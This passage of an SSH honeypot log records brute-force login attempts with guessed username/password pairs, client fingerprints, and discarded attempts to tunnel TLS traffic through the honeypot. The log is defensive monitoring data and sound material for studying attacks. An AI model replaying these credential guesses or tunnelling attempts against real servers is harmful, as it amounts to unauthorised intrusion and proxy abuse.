tr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:07.697182Z","src_ip":"91.92.40.36","session":"a132e4d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qweqweqwe","message":"login attempt [user/qweqweqwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:07.919688Z","src_ip":"91.92.40.36","session":"e7182f645526","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.662487Z","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.697687Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\xf1\\x0f^\\xf7\\x85\\x02@\\x87ZQ\\xadM\\x9ejp\\x07\\x92\\xe2@?\\xd3\\x99\\xe4\\xd3lh\\xb3\\x18\\xad\\xeav \\xf1)\\xac3?2\\xaa\\x18\\x11\\xe2\\x05\\xd2'}\\x1f\\xc4d'\\x03Iq\\x1b\\x15jGl\\xecIP\\x04\\xd8R\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\xe5\\xe4#1\\xfdb,\\xac\\xfd\\x8f\\xa1\\xdc\\x8f\\x91)WV[/A|9z\\xfa\\xc1\\xe32a\\xccw)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b\"\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x1e\\xf1\\x0f^\\xf7\\x85\\x02@\\x87ZQ\\xadM\\x9ejp\\x07\\x92\\xe2@?\\xd3\\x99\\xe4\\xd3lh\\xb3\\x18\\xad\\xeav \\xf1)\\xac3?2\\xaa\\x18\\x11\\xe2\\x05\\xd2'}\\x1f\\xc4d'\\x03Iq\\x1b\\x15jGl\\xecIP\\x04\\xd8R\\x00 ZZ\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93ZZ\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08::\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)::\\x00\\x01\\x00\\x00\\x1d\\x00 \\x1f\\xe5\\xe4#1\\xfdb,\\xac\\xfd\\x8f\\xa1\\xdc\\x8f\\x91)WV[/A|9z\\xfa\\xc1\\xe32a\\xccw)\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\x9a\\x9a\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xca\\xca\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.700594Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"173.208.192.194","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.745940Z","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.783181Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xa1\\xe8\\x18\\xcc\\xfe)\\x8ai\\xd4\\x82\\xfby+j\\x1d\\x8d\\x02\\x8b%&0h\\xa7z\\x82\\t\\xeb\\xd8\\xc7\\xb9\\xda d\\xc4\\xf5\\x18]e)\\xa4\\x0c\\rA\\x12G\\xf1\\x83^\\x82x~ya\\xe5\\xb3\\xd3(\\x84\\'\\xb4\\xb0Ng\\x9f\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x7f\\x98L\\xd5F\\x03\\x83\\x87s0kF\\xbc#\\x17\\xb2([#A\\x95\\xf8\\xa5\\xf0\\xab\\xdc\\x16$\\xef\\xcb\\xd0\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xd7\\xa1\\xe8\\x18\\xcc\\xfe)\\x8ai\\xd4\\x82\\xfby+j\\x1d\\x8d\\x02\\x8b%&0h\\xa7z\\x82\\t\\xeb\\xd8\\xc7\\xb9\\xda d\\xc4\\xf5\\x18]e)\\xa4\\x0c\\rA\\x12G\\xf1\\x83^\\x82x~ya\\xe5\\xb3\\xd3(\\x84\\'\\xb4\\xb0Ng\\x9f\\x00\"\\xaa\\xaa\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91::\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08\\xca\\xca\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)\\xca\\xca\\x00\\x01\\x00\\x00\\x1d\\x00 \\x7f\\x98L\\xd5F\\x03\\x83\\x87s0kF\\xbc#\\x17\\xb2([#A\\x95\\xf8\\xa5\\xf0\\xab\\xdc\\x16$\\xef\\xcb\\xd0\\x13\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xba\\xba\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xea\\xea\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.786593Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"travel","password":"password","message":"login attempt [travel/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:08.818767Z","src_ip":"91.92.40.36","session":"a132e4d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:10.042410Z","src_ip":"91.92.40.36","session":"a132e4d5b9ad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.5","message":"Connection lost after 9.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:10.192388Z","src_ip":"91.92.40.36","session":"e7182f645526","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.66.85.226","src_port":45462,"dst_ip":"159.203.135.109","dst_port":22,"session":"fdc1e87b7b5c","protocol":"ssh","message":"New connection: 80.66.85.226:45462 (159.203.135.109:22) [session: fdc1e87b7b5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:13.112448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:13.116965Z","src_ip":"80.66.85.226","session":"fdc1e87b7b5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:13.202255Z","src_ip":"80.66.85.226","session":"fdc1e87b7b5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"yfhenj123","message":"login attempt [root/yfhenj123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:13.470573Z","src_ip":"80.66.85.226","session":"fdc1e87b7b5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:14.558103Z","src_ip":"80.66.85.226","session":"fdc1e87b7b5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":16002,"dst_ip":"159.203.135.109","dst_port":22,"session":"23b2eb31802b","protocol":"ssh","message":"New connection: 91.92.40.36:16002 (159.203.135.109:22) [session: 23b2eb31802b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:15.596628Z"}
{"eventid":"cowrie.session.closed","duration":"18.3","message":"Connection lost after 18.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:15.813991Z","src_ip":"173.208.192.194","session":"69992dc1801c","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:16.258023Z","src_ip":"91.92.40.36","session":"23b2eb31802b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:17.339564Z","src_ip":"91.92.40.36","session":"23b2eb31802b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":62528,"dst_ip":"10.17.0.5","dst_port":22,"session":"4b8d0527026b","protocol":"ssh","message":"New connection: 123.27.168.40:62528 (10.17.0.5:22) [session: 4b8d0527026b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:22.518385Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:22.522825Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:22.769977Z","src_ip":"123.27.168.40","session":"4b8d0527026b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":22492,"dst_ip":"159.203.135.109","dst_port":22,"session":"c5ee8b87508f","protocol":"ssh","message":"New connection: 91.92.40.36:22492 (159.203.135.109:22) [session: c5ee8b87508f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:23.303584Z"}
{"eventid":"cowrie.login.failed","username":"ian","password":"password","message":"login attempt [ian/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:34:23.522197Z","src_ip":"91.92.40.36","session":"23b2eb31802b","protocol":"ssh"}
